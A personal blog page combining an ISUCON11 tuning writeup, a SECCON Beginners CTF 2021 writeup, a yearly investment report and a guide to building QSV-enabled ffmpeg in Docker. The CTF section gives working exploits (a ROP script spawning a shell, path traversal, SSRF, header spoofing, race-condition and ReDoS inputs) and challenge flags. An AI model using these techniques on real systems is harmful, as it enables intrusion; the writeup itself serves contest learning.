ISUCON11 Qual writeup

ISUCON11 Qual writeup

実は毎年参加しているんだけど記事にはしてなかった.
最近ブログも書いてないので書いてみる.

概要

ワイハリマ で参加.最終スコア 26656 でいまいち伸びなかった.
メンバーはいつも通り nhirokinet, tyabuki との3人で,なぜかずっと PHP を使っているチームです(特に執着するような理由はない).
どこかで集まってやろうと思ったけどこんなご時世で緊急事態宣言もでてるので Discord を使ったオンライン参戦. Google docs も少し使った.

リポジトリは以下. github.com

初動

今年はろくに準備もしてなく,中々ひどかった. とりあえず AWS から CloudFormation 流して待ってる間に軽くマニュアルを流し読み. いつも割と禁止事項以外は割と流し読みしてるの内緒.

インスタンスがあがったら初期のままベンチ叩いて 1600 点くらい. php に切り替えてもらうと 1000 点未満になって草生えた. ここからリポジトリソースコードもってきたり, kataribe 入れたりそういう足回り的なことを自分はやっていた.

序盤〜中盤

POST /api/isu/condition/<uuid> がやたらめったら叩かれていて 499 が大量に返っていてまともにリクエスト食えてないんじゃないかという話が上がる. dropProbability はあるが,そもそも php-fpm に流すこと自体無駄なんじゃないか,ということで nginx 側でなんとかしたいと言われる.

upstream と weight 使えばなんとかなるじゃないかと思い自分が担当することに.詳細はリポジトリの nginx.conf をみてください.中々ゴミみたいな実装なんだけど,これが最終的にスコアを変動させる大きな要素となって意外と便利だった.チーム内では "upstream 芸" や "weight 芸" とかいう謎な呼び方をされていた.

久々に nginx 触ったのでやたら時間がかかったが,最終的に9割のリクエストを nginx から 201 を返し,残り1割だけ php-fpm に流すと今まで1000点未満をウロウロしていたのが一気に上がり10000点くらいになる.自分の一番の貢献はここだった.

あとは php 周りの設定みて xdebug 外したり JIT 有効にしてみたりしていた(結局 JIT は効果なさそうだった).

終盤

MySQL 専用機 + POST /api/isu/condition/<uuid> 専用機 + 残りすべて(ここが nginx でベンチのリクエスト受けるとこ)の構成にしてベンチを叩くと,ベンチのリクエストを受けるサーバがやっぱり重い. GET /api/isu/condition が重いのでこれを残り2台のサーバに流したくなる. 流してみると 401 が返ってきて,認証いるじゃん,となる.

ソース読むと session に書いてるだけなので,クッキーに user_id 書いてガバらせる方向で nhirokinet が実装すると分離に成功して 29000点くらいの最高スコアがでる.
もうあんまり時間がないので再起動試験とかやったあと weight 芸という名の POST /api/isu/condition/<uuid> の振り分ける割合を弄ってベンチ流して良い値をみつけるテストをやって終了.

まとめ

事前準備が不足していたり, nginx の config がろくにかけなかったりなんだかエンジニアとして終わりだしてる気がした ISUCON だった(ワイの職業ってエンジニアだったよね…?).

一方で今回は,各個人が好き勝手やるんじゃなくて色々ちゃんと議論してそれぞれ役割分担して改善するといったことができたのはチームとしてよかったんじゃないかなと,振り返って思った.ちゃんと復習とかやりたいね,という話をしていつもしてないけど,さすがにそろそろやりたい.

あと今回はさすがに PHP のままで問題ないのかはすごく気になっているので,このあたりはちゃんと検証したい(とはいえ Go や Rust をすらすら書ける自信もないのがなぁ…).

おまけ

チームメンバーの writeup です.

blog.nhiroki.net

SECCON Beginners CTF 2021 writeup

SECCON Beginners CTF 2021

yharima で参加.ついにメンバーが集まらず実質ぼっち参加だった(一人だけ最後2時間くらい参加してた). 2447pts で 46th でした.うーん….

[welcome] welcome

Discord に来るだろうと待機して最速で入れるゲーム.

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

おまけ

入れて即スコアボードみたら以下みたいになっててバグってたけど最速だったんだろうか? f:id:yharima:20210523175749p:plain

[crypto] simple_RSA

e がやたら小さいので, c の e乗根を取れば復号できるらしい.

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

from Crypto.Util.number import long_to_bytes
import gmpy

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

print(long_to_bytes(gmpy.root(c, e)[0]))

[crypto] Logical_SEESAW

説明がうまくできないので雑ですが暗号化される手順を追うと,

  • FLAG をバイナリにして2進数へ変換
  • 上記と同じ長さのランダムな key を生成
  • 50%の割合以下のどちらかとなるものを16個作成
    • flag[i]
    • flag[i] & key[i] の結果とする

なので,フラグが立ってるならかならずそこは正しい.一方で折れてる場合は怪しい. なので16個あるから全部フラグが折れてるなら確率的には折れてるのが正しそう,という判断をして bit を集めてきて文字列にする.

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

from Crypto.Util.number import long_to_bytes
cipher = [] # output.txt
flag = ''
for i in range(len(cipher[0])):
    c = ''
    for j in range(len(cipher)):
      c += cipher[j][i]
    if c == '0000000000000000':
      flag += '0'
    else:
      flag += '1'
print(long_to_bytes(int(flag, 2)))

[crypto] GFM

なんもよくわからんかったんだけど,どうやら SageMath のコードらしい? コードをみると行列計算していて,必要な情報は全部揃ってるのでドキュメント見ながら逆演算する. 実行環境はめんどかったので,オンラインの使った.

SIZE = 8
p = 331941721759386740446055265418196301559
MS = MatrixSpace(GF(p), SIZE)
key = MS.matrix([[(snip)]]) # output.txt
enc = MS.matrix([[(snip)]]) # output.txt
print(key.inverse() * enc * key.inverse())

あとはアスキー範囲内の数字の部分だけとってきて繋ぐ.

ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

[reversing] only_read

cmp で1文字づつ比較してるので比較部分だけとってきて繋ぐ.

$ objdump -M intel -d chall | grep 'cmp    al,' | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{c0n5t4nt_f0ld1ng}

[reversing] children

最近乗り換えた Ghidra を使って解析すると,どうやら hoge 関数内でフラグを表示してそうであることがわかる. vvv 関数を解析すれば良さそうに思えるんだけど面倒なので,ひとまず条件関係なく表示させるように NOP で潰す. PID のところは ps auxf すればわかるのでそこはちゃんと入力した(そこも潰せばいいんだけど).

$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!
16282
ok
Please give me my child pid!
16292
ok
Please give me my child pid!
16296
ok
Please give me my child pid!
16299
ok
Please give me my child pid!
16302
ok
Please give me my child pid!
16305
ok
Please give me my child pid!
16308
ok
Please give me my child pid!
16312
ok
Please give me my child pid!
16315
ok
Please give me my child pid!
16319
ok
How many children were born?
aaaaa
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

[reversing] please_not_trace_me

タイトルからしてもどうみても anti-debug が実装されていそう. 実際 ptrace するとデバッガ検知して落ちる. ひとまず Ghidra で解析しながら anti-debug ならどうせ ptrace 呼んでるんだろうと思って潰す. これで gdb が動くので,なんかフラグを decrypt してそうな rc4 に BP 仕掛けて実行するとフラグが出た.

Breakpoint 2, 0x0000555555555297 in main ()
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x555555559280 ("ctf4b{d1d_y0u_d3crypt_rc4?}")

[reversing] be_angry

公式のサンプルをパクって angr 流す.

ctf4b{3nc0d3_4r1thm3t1c}

import angr

project = angr.Project("./chall", auto_load_libs=False)

@project.hook(0x402539)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

[reversing] firmware

strings してみるとなんか色々なファイルが含まれているみたいで, 32 bit ARM のバイナリも転がっていそう. とりあえずバイナリを binwalk で取り出して Ghidra へ投げ込む. main 関数を追うとどうもサーバっぽくなっていて送られてきた文字列がフラグと一致してるかを検証している. この際,入力された文字と 0x53 で XOR をとり, DAT_00010ea4 の格納されているデータを比較している. なので, DAT_00010ea4 のデータを全部抜いて 0x53 で XOR をとればフラグになる.

ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

[pwnable] rewriter

繋ぐと stack の状態が表示される.任意のアドレスを書き換えれるようなので return addr を書き換える.
バイナリも提供されていて, win 関数でフラグを表示しているのでそちらに書き換えてあげれば良い.

$ objdump -M intel -d chall | grep win
00000000004011f6 <win>:
$ nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007fff86f2e200 | 0x0000000000000000  <- buf
 0x00007fff86f2e208 | 0x0000000000000000
 0x00007fff86f2e210 | 0x0000000000000000
 0x00007fff86f2e218 | 0x0000000000000000
 0x00007fff86f2e220 | 0x0000000000000000  <- target
 0x00007fff86f2e228 | 0x0000000000000000  <- value
 0x00007fff86f2e230 | 0x0000000000401520  <- saved rbp
 0x00007fff86f2e238 | 0x00007f11ff334bf7  <- saved ret addr
 0x00007fff86f2e240 | 0x0000000000000001
 0x00007fff86f2e248 | 0x00007fff86f2e318

Where would you like to rewrite it?
> 0x00007fff86f2e238
0x00007fff86f2e238 = 0x4011f6

[Addr]              |[Value]
====================+===================
 0x00007fff86f2e200 | 0x3666313130347830  <- buf
 0x00007fff86f2e208 | 0x326532663638000a
 0x00007fff86f2e210 | 0x00000000000a3833
 0x00007fff86f2e218 | 0x0000000000000000
 0x00007fff86f2e220 | 0x00000000004011f6  <- target
 0x00007fff86f2e228 | 0x00007fff86f2e238  <- value
 0x00007fff86f2e230 | 0x0000000000401520  <- saved rbp
 0x00007fff86f2e238 | 0x00000000004011f6  <- saved ret addr
 0x00007fff86f2e240 | 0x0000000000000001
 0x00007fff86f2e248 | 0x00007fff86f2e318

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

[pwnable] beginners_rop

タイトル通りに ROP する. BOF脆弱性があるので BOF して制御を奪って適当な GOT のアドレスを puts して libc addr を leak する. この際,最後にもう一度 main 関数のアドレスを積んでおいてもう1回 BOF できるようにしておく. 次は libc base addr がわかっているので onegadget でシェルを上げる.

% python beginners_rop.py
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
7f03f5b52000
[*] Switching to interactive mode
$ ls -l
total 28
-r-xr-x--- 1 root pwn 17008 May 21 01:52 chall
-r--r----- 1 root pwn    20 May 21 01:52 flag.txt
-r-xr-x--- 1 root pwn    34 May 21 01:52 redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}

src

from pwn import *
context.arch = 'amd64'
con = remote('beginners-rop.quals.beginners.seccon.jp', 4102)

payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(0x401283) # pop rdi
payload += pack(0x404018) # puts@got
payload += pack(0x401070) # puts@plt
payload += pack(0x401196)
con.sendline(payload)
con.recvline()

libc_base_addr = unpack(con.recvline().strip() + "\x00\x00") - 0x80aa0
print "%x" % libc_base_addr

payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(libc_base_addr + 0x4f3d5)
con.sendline(payload)
con.recvline()

con.interactive()

[web] osoba

なんかいかにもディレクトリトラバーサルしてください,みたいな URL なので ../flag してみるとフラグがでる.

% curl 'https://osoba.quals.beginners.seccon.jp/?page=../flag'
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

[web] Werewolf

ソースコードを読むと roleWEREWOLF ならフラグがでそう. namecolor は POST parameter に渡せばいけるんだけけどプロパティなので role=WEREWOLF とやってもうまくいかない. これ,内部的にはどうなってるんだろうと思って,以下のようなコードを実行すると {'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}

import random
class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])

    @property
    def role(self):
        return self.__role

player = Player()
print(vars(player))

なるほど, _Player__role を書き換えてあげればいいのね,ということで以下を実行するとフラグを得れる.

% curl -sfS 'https://werewolf.quals.beginners.seccon.jp/' --data-raw '_Player__role=WEREWOLF' | grep ctf4b
            <p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>

[web] check_url

ソースコードを読むと, REMOTE_ADDR が 127.0.0.1 でアクセスするとフラグがでるらしい. ただ, preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url) のように置換されてしまうので . は使えない. 127.0.0.1 は SSRF あるあるネタとして様々な表現ができるので順番にためす. * 2130706433: だめ * 017700000001: だめ * 0x7F000001: OK

というわけで,

% curl -sfS 'https://check-url.quals.beginners.seccon.jp/?url=0x7F000001' | grep ctf4b
          Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}        </h5>

[web] json

ソースを読むとまず, 192.168.111.0/24 からのアクセスに制限されていることがわかる. nginx の config を見ると以下の記述があって X-Forwarded-For を最初から送れば偽装できることがわかる.

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

なので,まず以下のような curl を投げると内部からのアクセスに偽装することができる.

% curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id": 2}'
{"error":"It is forbidden to retrieve Flag from this BFF server."}

次は id = 2 であればフラグがでるのだけどチェックされている. bff 側は json 形式に変換してチェックしているのに, api 側は body から取り出しているだけ.(いま見ると普通に jsonparser 使ってたので普通に見間違えてました). json の key って大文字とか小文字チェックしてるんだっけ?と思って投げてみたらうまくいった.

curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id":2, "ID": 1}'
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}

[web] cant_use_db

DB 使ってないみたいなタイトルで実際ソースを見るとファイルに書き出している. すべての材料を揃えるのはお金が足りないんだけど,ロック処理とかしてないのですべての購入を同じタイミングで投げるといけるんじゃないかと思いやってみる. まず, sessionId を普通に curl を投げてとって,以下のリクエストをほぼ同時に投げる.

% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' -H 'Cookie: session=(snip)'
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'

うまく買えたらあとは sessionId をセットして /eat を叩く.

% curl 'https://cant-use-db.quals.beginners.seccon.jp/eat' -H 'Cookie: session=(snip)'
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

[misc] git-leak

objects 片っ端から漁るスクリプト書いたらでた.

$ ./solve.sh | grep ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

src

#!/bin/bash

for dir in `ls .git/objects`; do
  for file in `ls .git/objects/$dir`; do
    git cat-file -p "$dir$file"
  done
done

[misc] Mail_Address_Validator

ソースをみると正規表現の実行をタイムアウトさせたらフラグが表示されるみたい. とりあえず適当に長いの投げてどれくらいかかるか見てみるかーと思って投げたらそのままタイムアウトしてフラグが出てしまった.

% perl -e 'print "a@" . "a" x 128' | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

[misc] depixelization

ソースコードから [a-z][0-9] の画像を生成して気合で目 diff する.まじで気合.

ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

まとめ

  • ぼっちは寂しい
  • Ghidra 最高
  • モンハンしてたやつはギルティ
  • Pwn 勉強不足
  • Crypto 無理
  • あと2, 3問は解きたかった

2020年運用成績 & おまけ

2020年運用成績 & おまけ

概要

毎年恒例のやつ.運用ポリシーと過去の成績は以下.

yuta1024.hateblo.jp

yuta1024.hateblo.jp

yuta1024.hateblo.jp

結果

コロナで一時期は100万以上溶けてたけど最終的には大幅に+となった.ジェットコースターみ.

f:id:yharima:20201231132240p:plain

悩み

2021年いっぱいで NISA の期間が終わる.ロールオーバーすべきか悩ましい.積立 NISA が 2017年からあれば悩まずに済んだのに‥,
また120万の投資は今のままとして来年からは S&P 500 とか追加で買っていくことを検討中.

おまけ

2018年8月より JCB の修行をしていたのですが,ようやく JCB THE CLASS の招待がきてゲットできました.
可能な範囲でほとんどの決済を寄せてました.現金支払比率は15%もなかった.QUICPay 便利.
属性は色々と個人情報がつらいの勘弁してください.

f:id:yharima:20201231132508j:plain

f:id:yharima:20201231132521j:plain

取得までの流れ

  • 2018年
    • 7月末にプラチナで申し込むも否決.ゴールド発行(それ以前の JCB カード歴無し).
    • 2018年の決済額108万
  • 2019年
    • 2019年の決済額313万
  • 2020年
    • 2月にゴールド・ザ・プレミアに切り替え
    • 2020年11月末時点で決済額203万
    • 11/30: インビ着弾・即日返送
    • 12/04: 22時くらいに MyJCB ログインエラー.23時半くらいに切り替え完了.
    • 12/10: カード着弾

Docker で QSV 対応 ffmpeg のビルド on Ubuntu 20.04 LTS

Docker で QSV 対応 ffmpeg のビルド on Ubuntu 20.04 LTS

はじめに

なぜか年末になると ffmpeg ビルド芸をしている(2年連続2度目)のですが,今年は QSV 対応のビルドにチャレンジしてみた.
最近は身内の Discord でこういう話を垂れ流していてろくにブログを書いてなかったんだけど,ググってもあんまりヒットしなかったので書いておく.

なお,去年の成果物は以下.やたら static build に拘ったがなんの意味があったのかはよくわからない.ここで試行錯誤したことが少し仕事に活きたのでそれで良かったことにしよう.今そう気持ちの整理をした().

github.com

QSV

説明不要だと思いますが Intel Quick Sync Video のことで,ハードウェア支援を利用して動画のエンコード・デコードを行う仕組み.
動画のエンコードは CPU でぶん回すことが多いんですが, CPU がしょっぱいとそんなに速度がでないけど QSV を使うと早くなる.具体的な速度比較はのちほど(CPU のみのエンコードと比較すると多少画質や圧縮率の劣化がある).
サーバ用途に新しい NUC を買ったことで古い NUC が不要になったので退役させて転用することにした(ESXi の USB パススルーでとあるデバイスがうまく動作しないので実機化したかったという裏事情もある).

ハードウェア

今回使ったのは以下のほぼ5年前にサーバにした NUC5i5RYH で CPU は i5-5250U の Broadwell になる.

yuta1024.hateblo.jp

CPU の世代でサポートされているフォーマットの範囲が異なるので非常にややこしい.
今回の Broadwell は h.264エンコードはサポートしているのでそちらを利用した.本当は hevc にしたいんだけど Skylake 以降じゃないと無理なので諦め.

ffmpeg のビルド

今回使った OS は Ubuntu 20.04 LTS で,理由は各種パッケージが揃っていて ffmpeg のビルドだけで済むから.あと最近はなんでもコンテナに押し込んでホストマシンは Docker 入れればオッケーみたいな脳死をしているのでコンテナで ffmpeg をビルドして,利用もコンテナから行う.

というわけでさっそく Dockerfile が以下.ビルド時に FFMPEG_VERSION を build-arg として渡す必要がある.現時点で最新タグの n4.3.1 をビルドする場合は sudo docker build --build-arg FFMPEG_VERSION=n4.3.1 . -t ffmpeg みたいな感じ.

FROM ubuntu:focal
ARG FFMPEG_VERSION
ENV DEBIAN_FRONTEND=noninteractive

WORKDIR /opt/ffmpeg
RUN set -x && \
    apt-get update && \
    apt-get install -y \
      git make g++ yasm \
      libfdk-aac-dev libva-dev libmfx-dev intel-media-va-driver-non-free && \
    git clone https://github.com/FFmpeg/FFmpeg --depth=1 -b $FFMPEG_VERSION . && \
    ./configure \
      --disable-ffplay \
      --disable-debug \
      --disable-doc \
      --enable-libmfx && \
    make -j $(grep cpu.cores /proc/cpuinfo | sort -u | sed 's/[^0-9]//g')

ほとんど何も enable になっていないので,この ffmpegh264_qsv 以外で利用したらほぼ死ぬ.オーディオも copy 推奨.

いくつかはまったポイントが以下.

  • ENV DEBIAN_FRONTEND=noninteractive は依存で入る tzdata がビルド中に timezone を指定しろと言ってくるのを回避するために必要.
  • --enable-libmfx ためになぜか libfdk-aac-dev が必要.ないと libmfx が not found になる.

コンテナから QSV 対応の ffmpeg の利用

上記をマルチステージビルドしてバイナリだけもってくる場合でも以下のパッケージは必要となる.

  • libva2
  • libva-drm2
  • intel-media-va-driver-non-free
  • libmfx1
  • libva-x11-2

また QSV を利用する場合は /dev/dri をコンテナ側にデバイスとして渡してあげる必要がある.以下のような感じで run する(実際はエンコードしたいファイルがあるホスト側のどっかをマウントとかしないとだめだけど).

$ sudo docker run --rm -it --device=/dev/dri ffmepg bash

適当にあった動画をエンコードしてみた結果が以下.

h264_qsv

$ ffmpeg -i <input> -c:v h264_qsv -q:v 23 -c:a copy <output>
(snip)
frame= 4477 fps=222 q=30.0 Lsize=  105735kB time=00:02:29.37 bitrate=5798.7kbits/s speed= 7.4x
video:103283kB audio:2286kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.157409%

h264(QSV なし)

ffmpeg は apt-get で入れたもので独自ビルドではない.)

$ ffmpeg -i <input> -c:v h264 -q:v 23 -c:a copy <output>
(snip)
frame= 4477 fps= 25 q=-1.0 Lsize=   80439kB time=00:02:29.37 bitrate=4411.4kbits/s speed=0.83x
video:77992kB audio:2286kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.200254%

同じビルドの ffmpeg ではないので厳密な比較にはならないが,エンコード速度は8倍以上の差がついた.一方で容量は 32% ほど大きくなった.

まとめ

大体自分の環境では8倍くらい早くなって満足. public にしたかったんだけど他のファイルとの兼ね合いで現状 private repo に.submodule で読めるようにしておけば良かった.気が向けば. もう来年は ffmpeg ビルド芸したくないけどベースイメージは debian にしたいので, debian でパッケージが揃ってたらワンちゃん….

おまけ

ビルドした ffmpeg-encoders を実行した結果.

# ffmpeg -encoders
ffmpeg version n4.3.1 Copyright (c) 2000-2020 the FFmpeg developers
  built with gcc 9 (Ubuntu 9.3.0-17ubuntu1~20.04)
  configuration: --disable-ffplay --disable-debug --disable-doc --enable-libmfx
  libavutil      56. 51.100 / 56. 51.100
  libavcodec     58. 91.100 / 58. 91.100
  libavformat    58. 45.100 / 58. 45.100
  libavdevice    58. 10.100 / 58. 10.100
  libavfilter     7. 85.100 /  7. 85.100
  libswscale      5.  7.100 /  5.  7.100
  libswresample   3.  7.100 /  3.  7.100
Encoders:
 V..... = Video
 A..... = Audio
 S..... = Subtitle
 .F.... = Frame-level multithreading
 ..S... = Slice-level multithreading
 ...X.. = Codec is experimental
 ....B. = Supports draw_horiz_band
 .....D = Supports direct rendering method 1
 ------
 V..... a64multi             Multicolor charset for Commodore 64 (codec a64_multi)
 V..... a64multi5            Multicolor charset for Commodore 64, extended with 5th color (colram) (codec a64_multi5)
 V..... alias_pix            Alias/Wavefront PIX image
 V..... amv                  AMV Video
 V..... asv1                 ASUS V1
 V..... asv2                 ASUS V2
 V..... avrp                 Avid 1:1 10-bit RGB Packer
 V..X.. avui                 Avid Meridien Uncompressed
 V..... ayuv                 Uncompressed packed MS 4:4:4:4
 V..... bmp                  BMP (Windows and OS/2 bitmap)
 V..... cinepak              Cinepak
 V..... cljr                 Cirrus Logic AccuPak
 V.S... vc2                  SMPTE VC-2 (codec dirac)
 VFS... dnxhd                VC3/DNxHD
 V..... dpx                  DPX (Digital Picture Exchange) image
 VFS... dvvideo              DV (Digital Video)
 V.S... ffv1                 FFmpeg video codec #1
 VF.... ffvhuff              Huffyuv FFmpeg variant
 V..... fits                 Flexible Image Transport System
 V..... flv                  FLV / Sorenson Spark / Sorenson H.263 (Flash Video) (codec flv1)
 V..... gif                  GIF (Graphics Interchange Format)
 V..... h261                 H.261
 V..... h263                 H.263 / H.263-1996
 V..... h263_v4l2m2m         V4L2 mem2mem H.263 encoder wrapper (codec h263)
 V.S... h263p                H.263+ / H.263-1998 / H.263 version 2
 V..... h264_qsv             H.264 / AVC / MPEG-4 AVC / MPEG-4 part 10 (Intel Quick Sync Video acceleration) (codec h264)
 V..... h264_v4l2m2m         V4L2 mem2mem H.264 encoder wrapper (codec h264)
 V..... h264_vaapi           H.264/AVC (VAAPI) (codec h264)
 V..... hevc_qsv             HEVC (Intel Quick Sync Video acceleration) (codec hevc)
 V..... hevc_v4l2m2m         V4L2 mem2mem HEVC encoder wrapper (codec hevc)
 V..... hevc_vaapi           H.265/HEVC (VAAPI) (codec hevc)
 VF.... huffyuv              Huffyuv / HuffYUV
 V..... jpeg2000             JPEG 2000
 VF.... jpegls               JPEG-LS
 VF.... ljpeg                Lossless JPEG
 VF.... magicyuv             MagicYUV video
 VFS... mjpeg                MJPEG (Motion JPEG)
 V..... mjpeg_qsv            MJPEG (Intel Quick Sync Video acceleration) (codec mjpeg)
 V..... mjpeg_vaapi          MJPEG (VAAPI) (codec mjpeg)
 V.S... mpeg1video           MPEG-1 video
 V.S... mpeg2video           MPEG-2 video
 V..... mpeg2_qsv            MPEG-2 video (Intel Quick Sync Video acceleration) (codec mpeg2video)
 V..... mpeg2_vaapi          MPEG-2 (VAAPI) (codec mpeg2video)
 V.S... mpeg4                MPEG-4 part 2
 V..... mpeg4_v4l2m2m        V4L2 mem2mem MPEG4 encoder wrapper (codec mpeg4)
 V..... msmpeg4v2            MPEG-4 part 2 Microsoft variant version 2
 V..... msmpeg4              MPEG-4 part 2 Microsoft variant version 3 (codec msmpeg4v3)
 V..... msvideo1             Microsoft Video-1
 V..... pam                  PAM (Portable AnyMap) image
 V..... pbm                  PBM (Portable BitMap) image
 V..... pcx                  PC Paintbrush PCX image
 V..... pgm                  PGM (Portable GrayMap) image
 V..... pgmyuv               PGMYUV (Portable GrayMap YUV) image
 V..... ppm                  PPM (Portable PixelMap) image
 VF.... prores               Apple ProRes
 VF.... prores_aw            Apple ProRes (codec prores)
 VFS... prores_ks            Apple ProRes (iCodec Pro) (codec prores)
 V..... qtrle                QuickTime Animation (RLE) video
 V..... r10k                 AJA Kona 10-bit RGB Codec
 V..... r210                 Uncompressed RGB 10-bit
 V..... rawvideo             raw video
 V..... roqvideo             id RoQ video (codec roq)
 V..... rv10                 RealVideo 1.0
 V..... rv20                 RealVideo 2.0
 V..... sgi                  SGI image
 V..... snow                 Snow
 V..... sunrast              Sun Rasterfile image
 V..... svq1                 Sorenson Vector Quantizer 1 / Sorenson Video 1 / SVQ1
 V..... targa                Truevision Targa image
 VF.... tiff                 TIFF image
 VF.... utvideo              Ut Video
 V..... v210                 Uncompressed 4:2:2 10-bit
 V..... v308                 Uncompressed packed 4:4:4
 V..... v408                 Uncompressed packed QT 4:4:4:4
 V..... v410                 Uncompressed 4:4:4 10-bit
 V..... vp8_v4l2m2m          V4L2 mem2mem VP8 encoder wrapper (codec vp8)
 V..... vp8_vaapi            VP8 (VAAPI) (codec vp8)
 V..... vp9_vaapi            VP9 (VAAPI) (codec vp9)
 V..... vp9_qsv              VP9 video (Intel Quick Sync Video acceleration) (codec vp9)
 V..... wmv1                 Windows Media Video 7
 V..... wmv2                 Windows Media Video 8
 V..... wrapped_avframe      AVFrame to AVPacket passthrough
 V..... xbm                  XBM (X BitMap) image
 V..... xface                X-face image
 V..... xwd                  XWD (X Window Dump) image
 V..... y41p                 Uncompressed YUV 4:1:1 12-bit
 V..... yuv4                 Uncompressed packed 4:2:0
 A..... aac                  AAC (Advanced Audio Coding)
 A..... ac3                  ATSC A/52A (AC-3)
 A..... ac3_fixed            ATSC A/52A (AC-3) (codec ac3)
 A..... adpcm_adx            SEGA CRI ADX ADPCM
 A..... g722                 G.722 ADPCM (codec adpcm_g722)
 A..... g726                 G.726 ADPCM (codec adpcm_g726)
 A..... g726le               G.726 little endian ADPCM ("right-justified") (codec adpcm_g726le)
 A..... adpcm_ima_qt         ADPCM IMA QuickTime
 A..... adpcm_ima_ssi        ADPCM IMA Simon & Schuster Interactive
 A..... adpcm_ima_wav        ADPCM IMA WAV
 A..... adpcm_ms             ADPCM Microsoft
 A..... adpcm_swf            ADPCM Shockwave Flash
 A..... adpcm_yamaha         ADPCM Yamaha
 A..... alac                 ALAC (Apple Lossless Audio Codec)
 A..... aptx                 aptX (Audio Processing Technology for Bluetooth)
 A..... aptx_hd              aptX HD (Audio Processing Technology for Bluetooth)
 A..... comfortnoise         RFC 3389 comfort noise generator
 A..X.. dca                  DCA (DTS Coherent Acoustics) (codec dts)
 A..... eac3                 ATSC A/52 E-AC-3
 A..... flac                 FLAC (Free Lossless Audio Codec)
 A..... g723_1               G.723.1
 A..X.. mlp                  MLP (Meridian Lossless Packing)
 A..... mp2                  MP2 (MPEG audio layer 2)
 A..... mp2fixed             MP2 fixed point (MPEG audio layer 2) (codec mp2)
 A..... nellymoser           Nellymoser Asao
 A..X.. opus                 Opus
 A..... pcm_alaw             PCM A-law / G.711 A-law
 A..... pcm_dvd              PCM signed 16|20|24-bit big-endian for DVD media
 A..... pcm_f32be            PCM 32-bit floating point big-endian
 A..... pcm_f32le            PCM 32-bit floating point little-endian
 A..... pcm_f64be            PCM 64-bit floating point big-endian
 A..... pcm_f64le            PCM 64-bit floating point little-endian
 A..... pcm_mulaw            PCM mu-law / G.711 mu-law
 A..... pcm_s16be            PCM signed 16-bit big-endian
 A..... pcm_s16be_planar     PCM signed 16-bit big-endian planar
 A..... pcm_s16le            PCM signed 16-bit little-endian
 A..... pcm_s16le_planar     PCM signed 16-bit little-endian planar
 A..... pcm_s24be            PCM signed 24-bit big-endian
 A..... pcm_s24daud          PCM D-Cinema audio signed 24-bit
 A..... pcm_s24le            PCM signed 24-bit little-endian
 A..... pcm_s24le_planar     PCM signed 24-bit little-endian planar
 A..... pcm_s32be            PCM signed 32-bit big-endian
 A..... pcm_s32le            PCM signed 32-bit little-endian
 A..... pcm_s32le_planar     PCM signed 32-bit little-endian planar
 A..... pcm_s64be            PCM signed 64-bit big-endian
 A..... pcm_s64le            PCM signed 64-bit little-endian
 A..... pcm_s8               PCM signed 8-bit
 A..... pcm_s8_planar        PCM signed 8-bit planar
 A..... pcm_u16be            PCM unsigned 16-bit big-endian
 A..... pcm_u16le            PCM unsigned 16-bit little-endian
 A..... pcm_u24be            PCM unsigned 24-bit big-endian
